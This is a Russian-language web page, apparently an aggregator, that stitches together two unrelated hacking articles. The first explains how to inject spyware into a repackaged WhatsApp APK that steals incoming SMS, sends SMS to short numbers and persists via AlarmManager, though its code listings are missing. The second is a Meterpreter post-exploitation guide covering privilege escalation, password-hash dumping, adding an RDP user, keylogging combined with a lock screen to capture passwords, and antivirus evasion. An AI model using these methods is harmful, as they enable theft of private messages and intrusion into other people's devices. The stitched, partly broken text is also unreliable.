Ломаем софт для Android: Часть 2
В прошлый раз мы разобрались, как взламывать приложения для Android. В большинстве случаев сделать это очень легко. Сегодня мы пойдем намного дальше и модифицируем одно очень известное приложение, заставив его сливать на сторону все входящие СМС и отправлять СМС на короткие номера. И опять же сделать это будет совсем нетрудно.
Напомню, что с прошлого набега на чужой софт у тебя должны были остаться несколько инструментов, а также алиасы в
/.bashrc, необходимые для их быстрого запуска. Все это пригодится тебе и сегодня. Кроме того, в этот раз тебе понадобится среда разработки Android Studio. В статье я буду исходить из предположения, что сама Android Studio установлена в каталог
/Android/android-studio, а SDK, то есть набор компиляторов и инструментов сборки, — в каталог
Что касается софта, который мы будем препарировать, я предлагаю остановиться на WhatsApp — мегапопулярном приложении, которое входит в топ-10 всех магазинов приложений за все времена и, конечно же, нередко становится целью хакеров, внедряющих в него самые разные гадости. Так что статья получится более чем наглядной.
ИЩЕМ ТОЧКУ ВХОДА
Как и в прошлый раз, идем на apkpure.com, вбиваем в строку поиска адрес WhatsApp в Google Play и скачиваем пакет APK. Для удобства переименовываем его в whatsapp.apk и перемещаем в каталог
/tmp. Всю дальнейшую работу мы будем вести в нем.
Следующий шаг — найти наилучшее место для внедрения нашего зловредного кода. По объективным причинам такое место — это самое начало кода приложения, и если бы мы имели дело с обычной настольной Java, то это был бы метод main() главного класса приложения. Однако в Android исполнение приложения начинается не с main(). Фактически у здешнего софта вообще нет единой точки входа, оно состоит из множества компонентов, каждый из которых может получить управление при возникновении того или иного события. Если мы хотим, чтобы наш код запускался при старте приложения с рабочего стола, нам нужно вставить его в класс, получающий управление при возникновении события (если быть точным, это называется «интент») android. intent.action.MAIN категории android.intent.category.LAUNCHER. Чтобы найти этот класс, придется дизассемблировать WhatsApp с помощью apktool
и прочитать файл AndroidManifest.xml:
Искомый класс носит имя com.whatsapp.Main. Открываем
/tmp/whatsapp/ smali/com/whatsapp/Main.smali и ищем метод OnCreate():
Это и есть искомая точка входа. C этого метода начинается исполнение графического Android-приложения, когда оно получает интент android.intent. action.MAIN, другими словами — когда юзер тапает по иконке приложения пальцем. В этот метод мы будем внедрять наш payload.
ПИШЕМ PAYLOAD
Какой же код мы внедрим в WhatsApp? Для начала заставим его вывести на экран сообщение «Hi from malware!». Очень простая в реализации функция, которая позволит быстро проверить, что все работает так, как мы и рассчитывали. Если ты читал прошлую часть, то уже должен догадаться, как это сделать. Но не стоит торопиться, в этот раз мы не будем вставлять в код отдельные куски smali-кода, а вместо этого создадим отдельный класс, методы которого уже и будем вызывать из кода WhatsApp. Такой подход гораздо более удобен и позволяет как угодно расширять функциональность приложения, внося в его оригинальный код минимальные изменения.
Итак, открываем Android Studio, создаем новый проект, в поле Application name пишем Whatsapp, а в поле Company domain — com. Таким образом среда разработки сама разместит наш класс в пакете com.whatsapp, точно так же, как в оригинальном приложении. При выборе типа активности (Add an activity) выбираем Add No Activity. В левой части экрана разворачиваем список app java com.whatsapp и с помощью правой кнопки мыши создаем новый класс Payload. Добавляем в него следующие строки:
Это и есть наш класс с единственным статическим методом, выводящим на экран сообщение. Теперь класс необходимо скомпилировать и транслировать в байт-код Dalvik. С помощью среды разработки без танцев с бубном это не получится, поэтому сделаем все из командной строки.
Для начала создадим в
/tmp структуру каталога, аналогичную оригинальному приложению, и скопируем в нее исходный код класса:
Теперь скомпилируем его и транслируем в код Dalvik:
Обрати внимание на android-23 и 23.0.3 в путях: чтобы они существовали, у тебя должен быть установлен SDK для Android 6.0 и соответствующие инструменты сборки (при первом запуске Android Studio предложит установить их сама).
В текущем каталоге (
/tmp) должен появиться файл Payload.dex. Его необходимо дизассемблировать:
И скопировать в каталог с ранее дизассемблированным кодом WhatsApp:
ВЫЗЫВАЕМ PAYLOAD
Теперь в дизассемблированном коде WhatsApp есть наш класс, осталось только вызвать его статический метод run(). Чтобы это сделать, достаточно добавить следующую строку куда-то в начало метода onCreate():
На Java этот код выглядел бы так:
То есть инструкция invoke-static, по сути, имеет такой вид:
Регистр p0, который мы передали в качестве аргумента, всегда ссылается на текущий объект и эквивалентен ключевому слову this в Java. Текущий объект в данном случае имеет класс Activity, мы передаем его методу run() нашего класса, чтобы он смог использовать его для вывода сообщения на экран.
Все, осталось только собрать WhatsApp обратно в APK и подписать тестовым ключом:
Полученный файл whatsapp-payload.s.apk закидываем на карту памяти и устанавливаем.
ИДЕМ ДАЛЬШЕ
Какой же это зловред, если вместо кражи личной информации он только и делает, что сообщает о себе? Полностью согласен, поэтому сейчас мы существенно расширим возможности нашего payload. Он никак не будет выдавать своего присутствия, а вместо этого просто скинет все входящие СМС в файл на карте памяти:
Данный код читает базу данных СМС и записывает на карту памяти красивый текстовый файл sms.txt, содержащий СМС в формате:
При необходимости код можно дополнить, чтобы файл сразу сливался на удаленный сервер, а затем уничтожался, дабы не оставлять следов. Чтобы код заработал, в манифест приложения (
/tmp/whatsapp/AndroidManifest.xml) необходимо добавить разрешение на чтение СМС:
Далее остается только скомпилировать класс, перегнать в smali, скопировать в приложение, собрать и подписать его, так же как мы делали это в предыдущем разделе. Организовать отправку СМС на короткий номер и того проще:
Причем в этом случае даже не надо править AndroidManifest.xml — права на отправку СМС у WhatsApp уже есть.
В целом все просто, но есть одно большое но! Дело в том, что два приведенных выше куска кода будут отлично работать только до тех пор, пока ты не установишь хакнутый WhatsApp на смартфон под управлением Android 6.0 и выше. А тогда приложение упадет на старте, и причина в том, что «шестерка» требует явного запроса прав (в том числе на чтение СМС и запись на карту памяти) перед тем, как функции, защищенные этими правами, будут использованы.
И здесь мы попадаем в одну не очень приятную ситуацию. Запросить-то права мы можем, вот только сама система запроса права реализована не в нашу пользу, потому как событие «Пользователь нажал на „Да“» может быть обработано только активностью
приложения с помощью колбэка onRequestPermissionsResult(). Другими словами, придется вносить изменения в сам Main.smali.
Но есть способ проще и тупее. На самом деле нам совсем необязательно дожидаться, пока юзер нажмет кнопку «Да» или «Нет», после нажатия система так или иначе либо даст разрешение на выполнение операции, либо запретит, поэтому мы можем просто подождать и после этого проверить, есть ли у нас нужные права:
Данный код проверяет, запущен ли он в Android 6 или выше (API 23), и если да, то запускает код запроса разрешений на чтение СМС и запись на карту памяти, затем засыпает на десять секунд, а просыпаясь, проверяет, есть ли права (то есть нажал ли юзер «Да»). Если есть — отрабатывает уже знакомый нам код, нет — ничего не происходит.
Профессиональные программисты сожрут меня живьем за усыпление основного потока приложения, но мы здесь не в чемпионате на правильный код участвуем, главное, чтобы payload отработал, на остальное наплевать.
ПЕРИОДИЧЕСКИЕ ЗАДАЧИ
Проблема текущей реализации payload в том, что он будет запущен только во время холодного старта приложения, то есть при первом запуске, запуске после перезагрузки либо после того, как приложение будет вытеснено из памяти системой. Для одноразовой задачи это нормально, но что, если нам необходимо, чтобы наш зловред работал в фоне?
Для этого можно использовать сервис, то есть специальный поток, который будет висеть в фоне и делать нужную нам работу. Однако для нашей задачи это слишком избыточное решение. Гораздо удобнее использовать AlarmManager — специальную подсистему Android, позволяющую запускать нужный код через определенные интервалы. В отличие от сервисов AlarmManager не требует модификации AndroidManifest, достаточно просто привести код класса Payload к следующему виду:
Метод run() устанавливает Alarm, который должен срабатывать каждую минуту (60 * 1000 мс) и запускать код, указанный в методе onReceive(). Красота этого подхода в том, что после установки Alarm’а он будет срабатывать вне зависимости от того, запущено ли приложение. То есть, если пользователь запустил хакнутый WhatsApp, а затем закрыл его, а система завершила WhatsApp при нехватке памяти, он вновь будет запущен в фоне, когда сработает Alarm.
ВЫВОДЫ
Как видишь, внедрить собственный код в чужое приложение не просто реально, а реально настолько, что с этой задачей справится даже ребенок. Все, что нужно, — знать основы программирования для Android и чуть-чуть понимать код smali. И тогда открываются просто безграничные возможности модификации других приложений. К примеру, можно реализовать систему загрузки полноценных плагинов, о чем я уже писал, или даже получить root, скачать и установить APK с вирусом в системный раздел.
Источник
Секреты Meterpreter Payload
Что такое Meterpreter?
Meterpreter — расширенная многофункциональная начинка (Payload), которая может быть динамически расширена во время выполнения. В нормальных условиях, это означает, что это обеспечивает Вас основной оболочкой и позволяет Вам добавлять новые особенности к ней по мере необходимости.
Первым, наиболее частым действием является внедрение в процесс explorer’a. Эту возможность предоставляет команда migrate:
meterpreter > migrate 1888 #1888 — PID процесса, вывести список процессов — ps
[*] Migrating to 1888.
[*] Migration completed successfully.
Далее, как правило, выполняется повышение привилегий до системных. Для этого существует команда getsystem, использующая уязвимость, которая была обнаружена во всех версиях Windows, начиная с версии 3.1:
meterpreter > getsystem
. got system (via technique 1).
Сбор информации
Следующим действием, после подключения к машине, является сбор информации, meterpreter эту процедуру упростил, благодаря наличию скрипта winenum:
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.ххх.ххх:1197.
[*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931
[*] Checking if MICROSOF-30B51A is a Virtual Machine .
[*] UAC is Disabled
[*] Running Command List .
[*] running command net view
[*] running command netstat -ns
[*] running command net accounts
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -nao
[*] running command ipconfig /all
[*] running command arp -a
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command tasklist /svc
[*] running command netsh firewall show config
[*] running command net group administrators
[*] running command net view /domain
[*] running command net localgroup administrators
[*] running command net localgroup
[*] running command net user
[*] running command net group
[*] running command net session
[*] running command net share
[*] running command gpresult /SCOPE USER /Z
[*] running command gpresult /SCOPE COMPUTER /Z
[*] Running WMIC Commands .
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic volume list brief
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic service list brief
[*] running command wmic group list
[*] running command wmic useraccount list
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] Extracting software list from registry
[*] Dumping password hashes.
[*] Getting Tokens.
[*] All tokens have been processed
[*] Done!
Мы получаем хэш паролей, настройки системы, список пользователей и многое другое.
Есть и еще один скрипт, который собирает более обширную информацию, включая дамп системного реестра, однако иногда с ним возникают проблемы, поэтому приводить его я не буду. Называется этот скрипт — scraper.
Удаленный рабочий стол
Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui. Для того, чтобы активировать использование протокола RDP на удаленной машине используется параметр -e:
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc
Далее нам потребуется добавить нового пользователя:
meterpreter > run getgui -u NAME -p PASSWORD
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: NAME with Password: PASSWORD
[*] Adding User: NAME to local group ‘������������ ���������� �������� �����’
[*] Adding User: NAME to local group ‘��������������’
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc
Где NAME — имя пользователя, PASSWORD — пароль.
Получить шелл
Если нужно получить шелл на удаленной машине, выполняется одноименная команда shell. Либо вручную запустить cmd.
Операции с оборудованием
Если вам нужно отключить клавиатуру или мышь, используется команда uictl. Принимает она следующие параметры:
uictl [enable/disable] Payload android что это
Enable — включает; disable — отключает.
meterpreter > uictl disable mouse #Отключаем мышь
Disabling mouse.
meterpreter > uictl enable mouse #Включаем мышь
Enabling mouse.
meterpreter > uictl disable keyboard #Отключаем клавиатуру
Disabling keyboard.
meterpreter > uictl enable keyboard #Включаем мышь
Enabling keyboard.
Кейлогер
Встроенных кейлогера аж два. Один — просто набор команд: keyscan_start — запускает кейлогер; keyscan_dump — выводит полученный результат; keyscan_stop — останавливает работу кейлогера.
Есть также скрипт под названием keylogrecorder. Он более эффективен чем keyscan, и более того, записывает результат в лог:
meterpreter > bgrun keylogrecorder
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2.
Meterpreter также предоставляет выполнение сценариев Ruby. Например, мы можем вывести окно с сообщением (MessageBox) или заблокировать рабочую станцию. Для этого нужно сначала подключить railgun:
meterpreter > irb
> client.core.use(«railgun»)
=> true
Затем, чтобы заблокировать рабочую станцию:
> client.railgun.user32.LockWorkstation() #блокируем
=> <«GetLastError» =>0. «return» => true> #все в порядке
Это часто используется, чтобы получить пароль пользователя в связке с кейлогером:
meterpreter > bgrun keylogrecorder #запускаем кейлогер
[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #адрес лога
[*] Recording
meterpreter > irb
> client.core.use(«railgun») #подключаем railgun
=> true
> client.railgun.user32.LockWorkstation() #блокируем рабочую станцию
=> <«GetLastError» =>0. «return» => true>
Пользователь, сославшись на глючность винды введет пароль, и мы увидим его в логе кейлогера.
Вывести диалог с сообщением также просто:
> client.railgun.user32.MessageBoxA(0, «Текст сообщения», «Заголовок», «MB_OK»)
Подробнее о выводе таких сообщений можете почитать в MSDN.
Есть еще интересная команда screenshot. С помощью нее вы можете сделать скриншот на удаленной машине. Если вы работаете под Линукс, запуск Metasploit должен быть выполнен под root, так как скриншот сохраняется в папку msf3.
Если вам нужно выключить или перезагрузить машину, для этого есть одноименные команды shutdown и reboot. Если shutdown или reboot не сработал, такое бывает, убейте процесс lsass.exe, тогда система все равно перезагрузится через минуту:
meterpreter > kill 866 #866 — PID процесса, используйте ps, чтобы узнать идентификатор
Рассмотрим еще один момент. Я тестровал Meterpreter на машинах с разными антивирусами и фаерволами, в частности Outpost, Dr. Web и KIS. Проводилась полная проверка, включались режимы повышенной защищенности, но несмотря на это meterpreter так и остался незамеченным.
Источник